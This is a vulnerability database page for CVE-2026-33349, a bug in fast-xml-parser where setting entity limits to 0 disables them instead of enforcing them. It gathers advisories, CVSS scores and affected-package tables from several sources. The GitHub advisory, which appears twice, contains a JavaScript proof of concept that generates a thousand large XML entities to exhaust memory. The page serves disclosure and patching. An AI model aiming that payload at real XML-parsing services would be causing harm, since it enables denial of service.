CVE-2026-33349
fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
5.9
fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1284
- Updated
- 2026-11-02
EUVDEUVD-2026-20080
5.9
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
EUVD-2026-20080- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jp2q-39xq-3w4g
5.9
Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser
Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions. OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to
0receive no protection — the opposite of their intent. This creates a false…
- Record
GHSA-jp2q-39xq-3w4g- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1284
- Updated
- 2026-11-02
NVD
5.9
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1284
- Updated
- 2026-11-02
OSV
5.9
fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1284
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-33349
5.9
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
DEBIAN-CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 8 moreShow less
OSVGHSA-jp2q-39xq-3w4g
5.9
Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser
Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions. OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to
0receive no protection — the opposite of their intent. This creates a false…
- Record
GHSA-jp2q-39xq-3w4g- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1284
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-33349
5.9
CVE-2026-33349 in @rootio/fast-xml-parser - Patched by Root
Root has patched CVE-2026-33349 in the @rootio/fast-xml-parser package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-33349
5.9
fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.
- Record
UBUNTU-CVE-2026-33349- CVSS 3.1
- 5.9 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1781744119 No score
TuxCare security update for fast-xml-parser (6 CVEs)
TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.2.7-tuxcare.1.
- Record
CLSA-2026-1781744119- Updated
- 2026-11-02
OSVCLSA-2026-1786373314 No score
TuxCare security update for fast-xml-parser (1 CVE)
TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.3-tuxcare.5.
- Record
CLSA-2026-1786373314- Updated
- 2026-11-02
OSVCLSA-2026-1792454133 No score
TuxCare security update for fast-xml-parser (7 CVEs)
TuxCare rebuilt fast-xml-parser to address 7 CVEs. Fixed in 5.2.5-tuxcare.1.
- Record
CLSA-2026-1792454133- Updated
- 2026-11-02
OSVCLSA-2026-1792698537 No score
TuxCare security update for fast-xml-parser (3 CVEs)
TuxCare rebuilt fast-xml-parser to address 3 CVEs. Fixed in 4.4.1-tuxcare.2.
- Record
CLSA-2026-1792698537- Updated
- 2026-11-02
OSVCLSA-2026-1793867510 No score
TuxCare security update for fast-xml-parser (1 CVE)
TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.4.0-tuxcare.2.
- Record
CLSA-2026-1793867510- Updated
- 2026-11-05
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fast-xml-parsernpm |
4.0.0-beta.3 up to 4.5.5 | 4.5.5 |
fast-xml-parsernpm |
5.0.0 up to 5.5.7 | 5.5.7 |
fast-xml-parserTuxCare:npm From an advisory covering 6 CVEs |
4.2.7-tuxcare.0 up to 4.2.7-tuxcare.1, plus listed versions 4.2.7 |
4.2.7-tuxcare.1 |
fast-xml-parserTuxCare:npm |
4.5.3-tuxcare.0 up to 4.5.3-tuxcare.5, plus listed versions 4.5.34.5.3-tuxcare.14.5.3-tuxcare.24.5.3-tuxcare.34.5.3-tuxcare.4 |
4.5.3-tuxcare.5 |
fast-xml-parserTuxCare:npm From an advisory covering 7 CVEs |
5.2.5-tuxcare.0 up to 5.2.5-tuxcare.1, plus listed versions 5.2.5 |
5.2.5-tuxcare.1 |
fast-xml-parserTuxCare:npm From an advisory covering 3 CVEs |
4.4.1-tuxcare.0 up to 4.4.1-tuxcare.2, plus listed versions 4.4.14.4.1-tuxcare.1 |
4.4.1-tuxcare.2 |
fast-xml-parserTuxCare:npm |
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.2, plus listed versions 4.4.04.4.0-tuxcare.1 |
4.4.0-tuxcare.2 |
node-webfontDebian:12 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1011.4.0+dfsg2+~cs35.7.26-1111.4.0+dfsg2+~cs35.7.26-1211.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-14 Show 9 moreShow less11.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-2111.4.0+dfsg2+~cs35.7.26-711.4.0+dfsg2+~cs35.7.26-811.4.0+dfsg2+~cs35.7.26-9 |
None known |
node-webfontDebian:13 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-21 |
None known |
node-webfontDebian:14 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1311.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-1611.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-1911.4.0+dfsg2+~cs35.7.26-2011.4.0+dfsg2+~cs35.7.26-21 |
None known |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@rootio/fast-xml-parserRoot:npm |
before 4.4.1-root.io.7 | 4.4.1-root.io.75.3.4-root.io.55.3.6-root.io.34.4.1-root.io.85.2.5-root.io.35.3.4-root.io.65.3.6-root.io.44.4.1-root.io.95.2.5-root.io.45.3.4-root.io.75.3.6-root.io.55.3.4-root.io.85.3.6-root.io.64.5.4-root.io.1 |
fast-xml-parserRoot:npm |
before 4.4.1-aikido.9 | 4.4.1-aikido.95.2.5-aikido.45.3.4-aikido.75.3.6-aikido.55.3.4-aikido.85.3.6-aikido.64.5.4-aikido.1 |
node-webfontUbuntu:24.04:LTS |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-7ubuntu1 |
None known |
node-webfontUbuntu:25.10 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1011.4.0+dfsg2+~cs35.7.26-13ubuntu2 |
None known |
node-webfontUbuntu:26.10 |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-1811.4.0+dfsg2+~cs35.7.26-19 |
None known |
node-webfontUbuntu:26.04:LTS |
All versions, plus listed versions 11.4.0+dfsg2+~cs35.7.26-13ubuntu211.4.0+dfsg2+~cs35.7.26-1411.4.0+dfsg2+~cs35.7.26-1511.4.0+dfsg2+~cs35.7.26-16build111.4.0+dfsg2+~cs35.7.26-18 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, aliases, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33349 is a medium vulnerability (CVSS 5.9) in Naturalintelligence Fast-xml-parser, published March 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 40th percentile. Fixed in fast-xml-parser 4.5.5.
References
github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g
github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7
nvd.nist.gov/vuln/detail/CVE-2026-33349
github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221
github.com/advisories/GHSA-jp2q-39xq-3w4g
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33349.json
Left out here: the rest of 2 source descriptions. The JSON record has them.